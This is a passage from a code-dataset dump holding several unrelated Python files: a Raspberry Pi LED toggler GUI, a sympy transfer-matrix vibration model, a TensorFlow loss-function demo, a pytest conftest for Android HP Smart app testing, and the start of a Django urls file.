';\\n')\n else:\n writer.write('\\n')\n","sub_path":"expriments/BDCI2017-taiyi/001_cut_builtin/005_near.py","file_name":"005_near.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"188730389","text":"from tkinter import *\nimport tkinter.font\nfrom gpiozero import LED\nimport RPi.GPIO\nRPi.GPIO.setmode(RPi.GPIO.BCM)\n\n# Hardware\nledRed = LED(14)\nledBlue = LED(17)\nledGreen = LED(27)\n\n# GUI Definitions\nwin = Tk()\nwin.title(\"LED Toggler\")\nmyFont = tkinter.font.Font(family = \"Helvetica\", size = 12, weight = \"bold\")\n\n# Event Functions\ndef ledRedToggle():\n if ledRed.is_lit:\n ledRed.off()\n else:\n ledRed.on()\n ledBlue.off()\n ledGreen.off()\ndef ledBlueToggle():\n if ledBlue.is_lit:\n ledBlue.off()\n else:\n ledBlue.on()\n ledRed.off()\n ledGreen.off()\ndef ledGreenToggle():\n if ledGreen.is_lit:\n ledGreen.off()\n else:\n ledGreen.on()\n ledRed.off()\n ledBlue.off()\n\ndef close():\n RPi.GPIO.cleanup()\n win.destroy()\n \n# Widgets\nledRedButton = Button(win, text = \"Red LED\", font = myFont, command = ledRedToggle, bg = \"bisque2\", height = 1, width = 24)\nledRedButton.grid(row = 0, column = 1)\n\nledBlueButton = Button(win, text = \"Blue LED\", font = myFont, command = ledBlueToggle, bg = \"bisque2\", height = 1, width = 24)\nledBlueButton.grid(row = 1, column = 1)\n \nledGreenButton = Button(win, text = \"Green LED\", font = myFont, command = ledGreenToggle, bg = \"bisque2\", height = 1, width = 24)\nledGreenButton.grid(row = 2, column = 1)\n\nexitButton = Button(win, text = \"EXIT\", font = myFont, command = close, bg =\"red\", height = 1, width = 6)\nexitButton.grid(row = 3, column = 1)\n\nwin.protocol(\"WM_DELETE_WINDOW\", close) # exit cleanly\nwin.mainloop() # loop forever","sub_path":"led_toggler.py","file_name":"led_toggler.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"587559432","text":"from sympy import *\nimport numpy\n\nfrom IPython.core.debugger import Pdb\n\nimport txt_mixin\nreload(txt_mixin)\n\nimport time\n\n\ndef aug_wrap(matin, N=4):\n \"\"\"Take a symbolic matrix and augment it with a row and column of\n zeros, with a 1 in the bottom right corner, so that a TMM matrix\n is compatible with a forcing input.\"\"\"\n last_col = zeros((N,1))\n Utemp = matin.col_insert(N, last_col)\n bottom_row = zeros((1,N+1))\n bottom_row[N] = 1\n mat_out = Utemp.row_insert(N, bottom_row)\n return mat_out\n\ndef diag(i, j):\n if i == j:\n return 1\n else:\n return 0\n\ndef eye(N):\n return Matrix(N, N, diag)\n\ns = Symbol('s')\n\n\ndef find_row(sym_in, var_list, N=5):\n row_out = []\n for var in var_list:\n temp = sym_in.subs(var, 1)\n for other in var_list:\n if other != var:\n temp = temp.subs(other, 0)\n row_out.append(temp)\n if len(row_out) < N:\n row_out.append(1)\n return row_out\n\n\ndef U_hyd_act(u):\n \"\"\"Return a 5x5 hydraulic acutator transfer matrix with input u.\"\"\"\n U = eye(5)\n U[1,4] = u\n return U\n\n\ndef U_tsd(k, c, n=5):\n \"\"\"Return an nxn transfer matrix for a torsional spring and damper.\"\"\"\n U = eye(n)\n U[1,2] = 1.0/(c*s+k)\n return U\n\ndef U_rigid(m, L, I, r, n=5):\n MRx = -m*s**2*(L-r)\n MRth = I*s**2-m*r*s**2*(L-r)\n U = eye(n)\n U[0,1] = L\n U[2,0] = MRx\n U[2,1] = MRth\n U[2,3] = -L\n U[3,0] = m*s**2\n U[3,1] = m*r*s**2\n return U\n\ndef z_sub(substr, n=5):\n \"\"\"Generate a z vector with the subscript substr.\"\"\"\n states = ['w','th','M','V']\n varnames = [item+substr for item in states]\n mylist = []\n for item in varnames:\n mylist.append([item])\n if n == 5:\n mylist.append(['1'])\n mat_str = str(mylist)\n code = 'z_vect = Matrix(%s)' % mat_str\n exec(code)\n return z_vect\n\n\nclass Sympy_TMM_Element(object):\n def __init__(self, params, label='', N=4):\n self.params = params\n self.label = label\n self.N = N\n\n def Get_Mat(self, s):\n raise NotImplementedError\n\n def Get_Aug_Mat(self, s):\n U = self.Get_Mat(s)\n augU = aug_wrap(U, self.N)\n self.augU = augU\n return augU\n\n\nclass Sympy_Beam_Element(Sympy_TMM_Element):\n def Get_Mat(self, s):\n params = self.params\n label = self.label\n## beta = Symbol('beta')\n## a = Symbol('a')\n d1 = Symbol('d1'+label)\n d2 = Symbol('d2'+label)\n d3 = Symbol('d3'+label)\n d4 = Symbol('d4'+label)\n mu = params['mu']\n EI = params['EI']\n L = params['L']\n #beta = (-s**2*L**4*mu/EI)**0.25\n beta = params['beta']\n## d1 = 0.5*(cos(beta)+cosh(beta))\n## d2 = 0.5*(sinh(beta)-sin(beta))\n## d3 = 0.5*(cosh(beta)-cos(beta))\n## d4 = 0.5*(sin(beta)+sinh(beta))\n a = L**2/EI\n B = Matrix([[d1, L*d4/beta, a*d3/beta**2, -L*a*d2/beta**3], \\\n [beta*d2/L, d1, a*d4/(L*beta), -a*d3/beta**2], \\\n [d3*beta**2/a, L*beta*d2/a, d1, -L*d4/beta], \\\n [-d4*beta**3/(L*a), -d3*beta**2/a, -beta*d2/L, d1]])\n self.U = B\n return B\n\n\nclass Sympy_TSD_Element(Sympy_TMM_Element):\n def Get_Mat(self, s):\n k = self.params['k']\n c = self.params['c']\n S = Matrix([[1.0, 0, 0, 0],\\\n [0, 1.0, 1.0/(c*s+k), 0],\\\n [0, 0, 1.0, 0],\\\n [0, 0, 0, 1.0]])\n self.U = S\n return S\n\n\nclass Sympy_TSD_Generic_Element(Sympy_TMM_Element):\n def Get_Mat(self, s):\n D_s = self.params['D_s']\n S = Matrix([[1.0, 0, 0, 0],\\\n [0, 1.0, 1.0/D_s, 0],\\\n [0, 0, 1.0, 0],\\\n [0, 0, 0, 1.0]])\n self.U = S\n return S\n\nclass Sympy_Rigid_Mass_Element(Sympy_TMM_Element):\n def Get_Mat(self, s):\n L = self.params['L']\n m = self.params['m']\n r = self.params['r']\n Iz = self.params['I']\n R = Matrix([[1.,L,0,0],\\\n [0,1.,0,0],\\\n [-m*s**2*(L-r),s**2*Iz-m*s**2*r*(L-r),1.,-L],\\\n [m*s**2,m*s**2*r,0,1.]])\n self.U = R\n return R\n\n\nclass Sympy_TMM_Element_Two_by_Two(Sympy_TMM_Element):\n def __init__(self, params, label='', N=2):\n Sympy_TMM_Element.__init__(self, params, label=label, N=N)\n\n\nclass Sympy_Rigid_Mass_Two_by_Two(Sympy_TMM_Element_Two_by_Two):\n def Get_Mat(self, s):\n m = self.params['m']\n R = Matrix([[1.,0],\\\n [m*s**2,1.]])\n self.U = R\n return R\n\n\nclass Sympy_Spring_Damper_Two_by_Two(Sympy_TMM_Element_Two_by_Two):\n def Get_Mat(self, s):\n k = self.params['k']\n b = self.params['b']\n S = Matrix([[1.,1.0/(b*s+k)],\\\n [0,1.]])\n self.U = S\n return S\n\n\nclass Sympy_Force_Two_by_Two(Sympy_TMM_Element_Two_by_Two):\n def Get_Aug_Mat(self, s):\n F = self.params['F']\n U = eye(self.N+1)\n U[1,self.N] = -F\n self.augU = U\n return U\n\n \nclass Sympy_AVS_Element(Sympy_TMM_Element):\n def Get_Mat(self, s):\n U = eye(self.N)\n self.U = U\n return U\n\n def Get_Aug_Mat(self, s):\n K_act = self.params['K_act']\n tau = self.params['tau']\n U = eye(self.N+1)\n U[1,self.N] = K_act*tau/(s*(s+tau))\n self.augU = U\n return U\n\nclass Sympy_AVS2_Element(Sympy_AVS_Element):\n def Get_Aug_Mat(self, s):\n K_act = self.params['K_act']\n p_act1 = self.params['p_act1']\n p_act2 = self.params['p_act2']\n U = eye(self.N+1)\n s1 = 1.0*2.0j*pi#magnitude of s at 1 Hz - fix this point for\n #changes in p's\n m1 = abs(s1+p_act1)\n m2 = abs(s1+p_act2)\n num = K_act*m1*m2\n U[1,self.N] = num/(s*(s+p_act1)*(s+p_act2))\n self.augU = U\n return U\n\nclass Sympy_AVS1_Element(Sympy_AVS_Element):\n def Get_Aug_Mat(self, s):\n K_act = self.params['K_act']\n p_act1 = self.params['p_act1']\n #p_act2 = self.params['p_act2']\n U = eye(self.N+1)\n s1 = 1.0*2.0j*pi#magnitude of s at 1 Hz - fix this point for\n #changes in p's\n m1 = abs(s1+p_act1)\n #m2 = abs(s1+p_act2)\n num = K_act*m1#*m2\n U[1,self.N] = num/(s*(s+p_act1))\n self.augU = U\n return U\n\n\nclass Sympy_AVS1N_Element(Sympy_AVS_Element):\n def Get_Aug_Mat(self, s):\n #K_act = self.params['K_act']\n N = self.params['num_act']\n p_act1 = self.params['p_act1']\n #p_act2 = self.params['p_act2']\n U = eye(self.N+1)\n## s1 = 1.0*2.0j*pi#magnitude of s at 1 Hz - fix this point for\n## #changes in p's\n## m1 = abs(s1+p_act1)\n## #m2 = abs(s1+p_act2)\n## num = K_act*m1#*m2\n## U[1,self.N] = num/(s*(s+p_act1))\n U[1,self.N] = N/(s*(s+p_act1))\n self.augU = U\n return U\n\nclass Sympy_AVS_Generic_Element(Sympy_AVS_Element):\n def Get_Aug_Mat(self, s):\n G_act = self.params['G_act']\n U = eye(self.N+1)\n U[1,self.N] = G_act\n self.augU = U\n return U\n\nclass Sympy_AVS3_Element(Sympy_AVS_Element):\n def Get_Aug_Mat(self, s):\n K_act = self.params['K_act']\n p_act1 = self.params['p_act1']\n p_act2 = self.params['p_act2']\n z_act = self.params['z_act']\n U = eye(self.N+1)\n s1 = 1.0*2.0j*pi#magnitude of s at 1 Hz - fix this point for\n #changes in p's\n m1 = abs(s1+p_act1)\n m2 = abs(s1+p_act2)\n mz = abs(s1+z_act)\n num = K_act*m1*m2/mz\n U[1,self.N] = num*(s+z_act)/(s*(s+p_act1)*(s+p_act2))\n self.augU = U\n return U\n\n\nclass Sympy_AVS_ThetaFB_Element(Sympy_AVS_Element):\n def __init__(self, params, Gth=None, label='', N=4):\n Sympy_AVS_Element.__init__(self, params, label=label, N=N)\n if Gth is None:\n Gth = Symbol('Gth')\n self.Gth = Gth\n\n\n def Get_Aug_Mat(self, s):\n ##--------------------------\n ## From numeric TMM code:\n ##--------------------------\n ## Gact = self.Gact_func(s, self.params)\n ## Gth = self.Gth(s)\n ## k_spring = self.params['k_spring']\n ## c_spring = self.params['c_spring']\n ## H = self.params['H']\n ## term1 = 1.0/((1.0 + Gact*Gth*H)*(k_spring + c_spring*s))\n ## term2 = Gact*Gth/(1.0 + Gact*Gth*H)\n ## matout[myrow,2] = term1\n ## matout[myrow,N] = term2\n ##--------------------------\n K_act = self.params['K_act']\n p_act1 = self.params['p_act1']\n H = self.params['H']\n k = self.params['k']\n c = self.params['c']\n #p_act2 = self.params['p_act2']\n U = eye(self.N+1)\n s1 = 1.0*2.0j*pi#magnitude of s at 1 Hz - fix this point for\n #changes in p's\n #m1 = abs(s1+p_act1)\n m1 = Symbol('m1')\n #m2 = abs(s1+p_act2)\n num = K_act*m1#*m2\n Gact = num/(s*(s+p_act1))\n Gth = self.Gth\n term1 = 1.0/((1.0 + Gact*Gth*H)*(k + c*s))\n term2 = Gact*Gth/(1.0 + Gact*Gth*H)\n U[1,2] = term1\n U[1,self.N] = term2\n self.augU = U\n return U\n\n\nclass Sympy_Forcing_Element(Sympy_TMM_Element):\n def Get_Mat(self, s):\n U = eye(self.N)\n self.U = U\n return U\n\n def Get_Aug_Mat(self, s):\n fv = self.params['fv']\n U = eye(self.N+1)\n U[0:4,4] = fv\n self.augU = U\n return U\n\n\ndef find_submat(Uin):\n submat = Uin[2:4, 2:4]\n return submat\n\ndef find_submat_inv(Uin):\n submat = find_submat(Uin)\n submati = submat.inv()\n return submati\n\ndef find_base_vector(Uin):\n submati = find_submat_inv(Uin)\n Uc4 = Uin[2:4,4]\n MbVb = -1.0*(submati*Uc4)\n z_b = zeros((5,1))\n z_b[2] = MbVb[0]\n z_b[3] = MbVb[1]\n z_b[-1] = 1.0\n return z_b\n\n\ndef cse_tuples_to_txtlist(tuplelist, ws=\" \"*4):\n \"\"\"Take a list of tuples returned as the first output from\n sympy.cse and convert it to a txtlist of valid Python code.\"\"\"\n mylist = None\n for var, expr in tuplelist:\n curline = ws + '%s = %s' % (var, expr)\n if mylist is None:\n mylist = [curline]\n else:\n mylist.append(curline)\n return mylist\n\n\ndef list_to_array_str(listin, outlabel, ws=\" \"*4):\n \"\"\"Assume that the list contains elements of a square matrix and\n return valid Python code to convert the list back to an array. Do\n this using numpy.reshape.\"\"\"\n T = numpy.array(listin)\n N = T.shape[0]\n n = numpy.sqrt(N)\n mat = numpy.reshape(T, (n,n))\n str_mat = None\n for row in mat:\n row_list = None\n for ent in row:\n ent_str = str(ent)\n if row_list is None:\n row_list = [ent_str]\n else:\n row_list.append(ent_str)\n row_str = '[' + ', '.join(row_list)+']'\n if str_mat is None:\n str_mat = [row_str]\n else:\n str_mat.append(row_str)\n n1 = len(outlabel)\n n2 = len(' = array([')\n ws2 = ws + \" \"*(n1+n2)\n mat_str = 'array([' + (', \\\\\\n'+ws2).join(str_mat)+'])'\n return mat_str\n\ndef create_output_lines(outlist, outlabels, ws=\" \"*4):\n last_line = ''\n for expr, label in zip(outlist, outlabels):\n curline = ws + '%s = %s\\n' % (label, expr)\n last_line += curline\n return last_line\n\ndef cse_to_txtlist(expr_list, outlabels, ws=\" \"*4):\n if type(outlabels) == str:\n outlabels = [outlabels]\n t1 = time.time()\n tuplist, out = cse(expr_list)\n t2 = time.time()\n print('cse time='+str(t2-t1))\n mylist = cse_tuples_to_txtlist(tuplist)\n if len(out) > len(outlabels):\n out_str = list_to_array_str(out, outlabel, ws=ws)\n last_line = ws + outlabels[0] + ' = ' + out_str\n else:\n last_line = create_output_lines(out, outlabels, ws=ws)\n return_line = ws + 'return ' + ', '.join(outlabels)\n if mylist is None:#no tuples were returned by cse\n mylist = [last_line]\n else:\n mylist.append(last_line)\n mylist.append(return_line)\n return mylist\n\ndef cse_to_file(expr_list, filename, outlabels, funcname, \\\n inputs=[], ws=' '*4, headerfile=None, \\\n replace_dict={}):\n line0 = 'from __future__ import division'\n line1 = 'from scipy import *'\n line2 = 'def '+funcname +'(' + ', '.join(inputs) + '):'\n preamble = [line0, line1, '', line2]\n mylist = []\n if headerfile:\n headerlist = txt_mixin.read(headerfile)\n mylist.extend(headerlist)\n mylist.extend(cse_to_txtlist(expr_list, outlabels, ws=ws))\n if replace_dict:\n mylist = txt_mixin.txt_list(mylist)\n for key, value in replace_dict.iteritems():\n mylist.replaceall(key,value)\n mylist = preamble + mylist#don't do the search and replace in the\n #preamble\n txt_mixin.dump(filename, mylist)\n\n\n\nif __name__ == '__main__':\n\n from optparse import OptionParser\n\n usage = 'usage: %prog [options]'\n parser = OptionParser(usage)\n\n\n parser.add_option(\"-n\", \"--name\", dest=\"name\", \\\n help=\"module name for the numeric Bode module\", \\\n default=\"sympy_bodes_base_mass.py\", type=str)\n\n (options, args) = parser.parse_args()\n\n mod_name = options.name\n\n t_start = time.time()\n s = Symbol('s')\n ##################################################\n #\n # Create the Elements\n #\n ##################################################\n #---------------------\n mu = Symbol('mu')\n EI = Symbol('EI')\n L1 = Symbol('L1')\n beta1 = Symbol('beta1')\n params1 = {'mu':mu, 'EI':EI, 'L':L1, 'beta':beta1}\n L2 = Symbol('L2')\n beta2 = Symbol('beta2')\n params2 = {'mu':mu, 'EI':EI, 'L':L2, 'beta':beta2}\n beam1 = Sympy_Beam_Element(params1, label='_1')\n beam2 = Sympy_Beam_Element(params2, label='_2')\n #---------------------\n k_clamp = Symbol('k_clamp')\n c_clamp = Symbol('c_clamp')\n TSDparams = {'k':k_clamp, 'c':c_clamp}\n TSD_clamp = Sympy_TSD_Element(TSDparams)\n #---------------------\n a_m = Symbol('a_m')\n a_L = Symbol('a_L')\n a_r = Symbol('a_r')\n a_I = Symbol('a_I')\n a_gain = Symbol('a_gain')\n am_params = {'m':a_m, 'L':a_L, 'r':a_r, 'I':a_I}\n Accel_Mass = Sympy_Rigid_Mass_Element(am_params)\n #---------------------\n b_m = Symbol('b_m')\n b_L = Symbol('b_L')\n b_r = Symbol('b_r')\n b_I = Symbol('b_I')\n b_gain = Symbol('b_gain')\n bm_params = {'m':b_m, 'L':b_L, 'r':b_r, 'I':b_I}\n Base_Mass = Sympy_Rigid_Mass_Element(bm_params)\n #----------------------\n k_spring = Symbol('k_spring')\n c_spring = Symbol('c_spring')\n TSDparams = {'k':k_spring, 'c':c_spring}\n TSD_spring = Sympy_TSD_Element(TSDparams)\n #---------------------\n K_act = Symbol('K_act')\n p_act1 = Symbol('p_act1')\n p_act2 = Symbol('p_act2')\n tau = Symbol('tau')\n z_act = Symbol('z_act')\n AVS_params = {'K_act':K_act, 'p_act1':p_act1, 'p_act2':p_act2, \\\n 'z_act':z_act, 'tau':tau}\n #AVS = Sympy_AVS3_Element(AVS_params)\n AVS = Sympy_AVS1_Element(AVS_params)\n #AVS = Sympy_AVS_Element(AVS_params)\n ##################################################\n #\n # Forced Response\n #\n ##################################################\n U0 = AVS.Get_Aug_Mat(s)\n U1 = TSD_spring.Get_Aug_Mat(s)\n U2 = Base_Mass.Get_Aug_Mat(s)\n U3 = TSD_clamp.Get_Aug_Mat(s)\n U4 = beam1.Get_Aug_Mat(s)\n U5 = Accel_Mass.Get_Aug_Mat(s)\n U6 = beam2.Get_Aug_Mat(s)\n ta = time.time()\n Uaug = U6*(U5*(U4*(U3*(U2*(U1*U0)))))\n tb = time.time()\n U_LR = Uaug[2:4, 2:4]\n U_LRi = U_LR.inv()\n tc = time.time()\n Uc4 = Uaug[2:4,4]\n MbVb = -1.0*(U_LRi*Uc4)\n z_b = zeros((5,1))\n z_b[2] = MbVb[0]\n z_b[3] = MbVb[1]\n z_b[-1] = 1.0\n z_enc = U2*(U1*(U0*z_b))\n #z_enc = U0*z_b\n z_accel = U5*(U4*(U3*z_enc))\n a_out = s**2*z_accel[0]*a_gain\n enc_gain = 180.0/pi*1024.0/360.0\n th_out = z_enc[1]*enc_gain\n\n tcse_start = time.time()\n## cse_to_file([th_out, a_out], 'sympy_bodes_debug.py',\\\n## ['th_out','a_out'],'Bodes',\\\n## inputs=['s','params'], headerfile='header.py')\n cse_to_file([th_out, a_out], mod_name,\\\n ['th_out','a_out'],'Bodes',\\\n inputs=['s','params'], headerfile='header.py')\n\n\n## Ulist = [U0, U1, U2, U3, U4, Uaug]\n## Unames = ['U0','U1','U2','U3','U4','Uaug']\n## for U, name in zip(Ulist, Unames):\n## cse_to_file(U, name+'.py', 'U', name, inputs=['s','params'], \\\n## headerfile='header.py')\n\n\n tend = time.time()\n print('total time='+str(tend-t_start))\n #unforced subdet analysis\n## Bz = beam1.Get_Mat(s)\n## Bz2 = beam2.Get_Mat(s)\n## Sclamp = TSD.Get_Mat(s)\n## R = RigidMass.Get_Mat(s)\n## U2 = Bz2*(R*(Bz*Sclamp))\n## U = R*(Bz*Sclamp)\n## U22 = U[2,2]\n## U33 = U[3,3]\n## U23 = U[2,3]\n## U32 = U[3,2]\n\n## det = U22*U33-U23*U32\n## cse_to_file(U, 'Usympy.py', 'U', 'U_sympy', inputs=['s','params'])\n## cse_to_file(Bz, 'Bzsympy.py','B','Bz_sympy', inputs=['s','params'])\n## cse_to_file(U2, 'Usympy_two_piece.py', 'U', 'U_sympy_two_piece', inputs=['s','params'])\n## det2 = U2[2,2]*U2[3,3]-U2[2,3]*U2[3,2]\n## cse_to_file(det2, 'det_sympy_two_piece.py','det','det_two_piece',\\\n## inputs=['s','params'])\n","sub_path":"sympy_TMM.py","file_name":"sympy_TMM.py","file_ext":"py","file_size_in_byte":17524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"504657729","text":"'''\n# some really good papers to read:\n# https://heartbeat.fritz.ai/5-regression-loss-functions-all-machine-learners-should-know-4fb140e9d4b0\n# https://en.wikipedia.org/wiki/Huber_loss\n# http://khanhxnguyen.com/loss-function/\n\n'''\n\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\n\nsess = tf.Session()\n\n\ndef main(argv=None):\n print('loss function')\n L2_norm()\n L1_norm()\n pseudo_huber_loss()\n hinge_loss()\n cross_entropy_loss()\n sigmoid_cross_entropy_loss()\n weight_cross_entropy_loss()\n softmax_cross_entropy()\n sparse_softmax_cross_entropy()\n\n # for visualization\n plt.ylim(-0.2, 0.4)\n plt.legend(loc='lower right', prop={'size': 11})\n plt.show()\n\n\ndef L2_norm():\n x_vals = tf.lin_space(-1., 1., 500)\n target = tf.constant(0.)\n\n L2_y_vals = tf.square(target - x_vals)\n L2_y_out = sess.run(L2_y_vals)\n\n # visualization\n x_array = sess.run(x_vals)\n plt.plot(x_array, L2_y_out, 'r', label ='L2 Loss')\n\n\ndef L1_norm():\n x_vals = tf.lin_space(-1., 1., 500)\n target = tf.constant(0.)\n\n L1_y_vals = tf.abs(target - x_vals)\n L1_y_out = sess.run(L1_y_vals)\n\n # visualization\n x_array = sess.run(x_vals)\n plt.plot(x_array, L1_y_out, 'go', label='L1 Loss')\n\n\ndef pseudo_huber_loss():\n x_vals = tf.lin_space(-1., 1., 500)\n target = tf.constant(0.)\n\n delta1 = tf.constant(0.25)\n pse_huber_y_vals = tf.multiply(tf.square(delta1), tf.sqrt(1 + tf.square((target-x_vals)/delta1)) - 1.)\n pse_huber_y_out = sess.run(pse_huber_y_vals)\n print(pse_huber_y_out)\n\n delta2 = tf.constant(5.)\n phuber2_y_vals = tf.multiply(tf.square(delta2), tf.sqrt(1. + tf.square((target - x_vals) / delta2)) - 1.)\n phuber2_y_out = sess.run(phuber2_y_vals)\n print(phuber2_y_out)\n\n # visualization\n x_array = sess.run(x_vals)\n plt.plot(x_array, pse_huber_y_out, 'k--', label='huber loss 0.25')\n plt.plot(x_array, phuber2_y_out, 'g:', label='huber loss 0.5')\n\n\ndef hinge_loss():\n x_vals = tf.linspace(-3., 5., 500)\n target = tf.constant(1.)\n\n hinge_y_vals = tf.maximum(0., 1. - tf.multiply(target, x_vals))\n hinge_y_out = sess.run(hinge_y_vals)\n print(hinge_y_out)\n\n# also call log log function\ndef cross_entropy_loss():\n x_vals = tf.linspace(-3., 5., 500)\n target = tf.constant(1.)\n\n x_entropy_y_vals = -tf.multiply(target, tf.log(x_vals)) - tf.multiply((1. - target), tf.log(1. - x_vals))\n x_entropy_y_out = sess.run(x_entropy_y_vals)\n print(x_entropy_y_out)\n\n\ndef sigmoid_cross_entropy_loss():\n x_vals = tf.linspace(-3., 5., 500)\n target = tf.constant(1.)\n targets = tf.fill([500, ], 1.)\n\n x_entropy_sigmoid_y_vals = tf.nn.sigmoid_cross_entropy_with_logits(logits=x_vals, labels=targets)\n x_entropy_sigmoid_y_out = sess.run(x_entropy_sigmoid_y_vals)\n print(x_entropy_sigmoid_y_out)\n\n\ndef weight_cross_entropy_loss():\n x_vals = tf.linspace(-3., 5., 500)\n target = tf.constant(1.)\n targets = tf.fill([500, ], 1.)\n weight = tf.constant(0.5)\n\n x_entropy_weight_y_vals = tf.nn.weighted_cross_entropy_with_logits(logits=x_vals, targets=targets, pos_weight=weight)\n x_entropy_weight_y_out = sess.run(x_entropy_weight_y_vals)\n print(x_entropy_weight_y_out)\n\n\ndef softmax_cross_entropy():\n unscaled_logits = tf.constant([[1., -3., 10.]])\n target_dist = tf.constant([[0.1, 0.02, 0.88]])\n softmax_xentropy = tf.nn.softmax_cross_entropy_with_logits(logits=unscaled_logits, labels=target_dist)\n print(sess.run(softmax_xentropy))\n\n\ndef sparse_softmax_cross_entropy():\n unscaled_logits = tf.constant([[1., -3., 10.]])\n sparse_target_dist = tf.constant([2])\n sparse_xentropy = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=unscaled_logits, labels=sparse_target_dist)\n print(sess.run(sparse_xentropy))\n\n\nif __name__ == '__main__':\n tf.app.run()\n","sub_path":"chapter2_tensorflow_way/loss_function.py","file_name":"loss_function.py","file_ext":"py","file_size_in_byte":3832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"654308063","text":"import pytest\nimport logging\nimport os\nimport traceback\nimport time\nfrom MobileApps.resources.const.android.const import TEST_DATA\nfrom SAF.misc import saf_misc\nfrom MobileApps.libs.app_package.app_class_factory import app_module_factory\nfrom MobileApps.resources.const.android.const import PACKAGE\nfrom MobileApps.libs.ma_misc import ma_misc\nfrom MobileApps.libs.flows.android.smart.flow_container import FlowContainer, FLOW_NAMES\nimport MobileApps.libs.ma_misc.conftest_misc as c_misc\nfrom android_settings.src.libs.android_system_flow_factory import android_system_flow_factory\n\n\ndef pytest_addoption(parser):\n android_ga_argument_group = parser.getgroup('Android Smart SoftFax testing')\n android_ga_argument_group.addoption(\"--recipient-phone\", action=\"store\", default=None, help=\"custom recipient phone number\")\n android_ga_argument_group.addoption(\"--output\", action=\"store\", default=None, help=\"custom .xls output file (under result folder) for performance sending fax\")\n android_ga_argument_group.addoption(\"--recipient-code\", action=\"store\", default=None, help=\"custom recipient code\")\n\n@pytest.fixture(scope=\"session\", autouse=True)\ndef android_smart_setup(request, android_test_setup):\n \"\"\"\n This fixture is for Android HP Smart set up :\n - Get driver instance\n - Get FlowContainer instance\n - Install latest HPPS app\n :param request:\n :param android_test_setup:\n :return:\n \"\"\"\n try:\n system_config = ma_misc.load_system_config_file()\n driver = android_test_setup\n fc = FlowContainer(driver)\n\n # Install and load string table of latest HPPS for Android Smart\n app_obj = app_module_factory(\"ANDROID\", \"HPPS\", system_config[\"database_info\"])\n url = app_obj.get_build_url(build_type=\"debug\", release_type=\"daily\")\n driver.install_app(url, \"hpps\", PACKAGE.HPPS, clear_cache=False, uninstall=True)\n\n # Uninstall WPrintTestApp plugin to make sure no WPrintTestApp plugin on mobile device before run HP Smart testing\n driver.wdvr.remove_app(PACKAGE.WPRINT_TEST)\n\n # add pkg_type as Smart app need test both debuggable and debug build\n driver.session_data[\"pkg_type\"] = request.config.getoption(\"--app-build\")\n\n # Guard code for dismissing crash popup which affects to next lines of code\n android_system = android_system_flow_factory(driver)\n android_system.dismiss_app_crash_popup()\n\n # Change stack based on parameter and turn off detect leak\n\n fc.flow_home_change_stack_server(request.config.getoption(\"--stack\"))\n fc.fd[FLOW_NAMES.DEV_SETTINGS].open_select_settings_page()\n\n #Guard code to open dev settings page on different languages if it fails.\n if(not fc.fd[FLOW_NAMES.DEV_SETTINGS].verify_dev_settings_page(raise_e=False)):\n fc.fd[FLOW_NAMES.DEV_SETTINGS].open_select_settings_page()\n fc.fd[FLOW_NAMES.DEV_SETTINGS].toggle_detect_leaks_switch(on=False)\n # Make sure Google Chrome App load to Home screen\n # Avoid some tests in Android Smart loads Google Chrome apps\n fc.fd[FLOW_NAMES.GOOGLE_CHROME].open_google_chrome()\n\n def clean_up():\n # Make sure Google Chrome App load to Home screen\n # Avoid to affect to another project.\n fc.fd[FLOW_NAMES.GOOGLE_CHROME].open_google_chrome()\n\n request.addfinalizer(clean_up)\n return driver, fc\n except:\n session_attachment = pytest.session_result_folder + \"session_attachment\"\n os.makedirs(session_attachment)\n c_misc.save_app_log_and_publish(\"SMART\",driver, session_attachment, request.node.name) \n c_misc.save_screenshot_and_publish(driver, session_attachment+ \"/android_test_setup_failed.png\")\n c_misc.save_source_and_publish(driver, session_attachment+ \"/\", file_name = \"android_test_setup_failed_page_source.txt\")\n traceback.print_exc() \n raise \n\n@pytest.fixture(scope='function', autouse=True)\ndef android_smart_cleanup_printer(request):\n \"\"\"\n Clean up printer for each test case:\n - check core dump. If it exists, power cycle\n :param request:\n \"\"\"\n try:\n p = request.cls.p\n p.check_init_coredump()\n except AttributeError:\n logging.warning(\"Class doesn't have printer object\")\n\n#------------------------------------------------------------------\n# SOFTFAX\n#------------------------------------------------------------------\n@pytest.fixture(scope=\"session\")\ndef get_softfax_output_file_path(request):\n \"\"\"\n If output is not None, then output path is from \"../results//performance/sending_fax_result.xls\n :param request:\n :return:\n \"\"\"\n if request.config.getoption(\"--output\"):\n path = os.path.join(ma_misc.get_abs_path(\"/results\", False), request.config.getoption(\"--output\"))\n if not os.path.isdir(path[:path.rfind(\"/\")]):\n os.makedirs(path[:path.rfind(\"/\")])\n return path\n else:\n return os.path.join(pytest.session_result_folder, \"performance/sending_fax_result.xls\")\n\n@pytest.fixture(scope=\"class\")\ndef softfax_class_cleanup(request):\n def clean_up_class():\n fc = request.cls.fc\n fc.flow_home_log_out_hpid_from_app_settings()\n request.addfinalizer(clean_up_class)\n\n@pytest.fixture(scope=\"function\", autouse=True)\ndef android_smart_get_app_log(request):\n driver = request.cls.driver \n def get_app_log():\n attachment_root_path = c_misc.get_attachment_folder()\n c_misc.save_app_log_and_publish(\"SMART\", driver, attachment_root_path, request.node.name) \n #Delete the folder for next test\n try:\n driver.wdvr.execute_script('mobile: shell', {'command': 'rm', 'args': [\"-r\", TEST_DATA.APP_LOG_PATH],'includeStderr': True})\n except Exception:\n logging.error(\"Cannot delete log folder for some reason !!!!\")\n request.addfinalizer(get_app_log)\n","sub_path":"MobileApps/tests/android/smart/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":6052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"397806325","text":"\"\"\"Quizzes urls\"\"\"\nfrom django.urls import path\n\nfrom . import views\n\napp_name = 'quizzes'\nurlpatterns = [\n path('', views.index, name='index'),\n path('create/', views.create_quiz, name='create'),\n path('quizzes/', views.choose_quiz_to_play, name='quizzes'),\n path('quizzes//', views.open_quiz, name='quiz'),\n 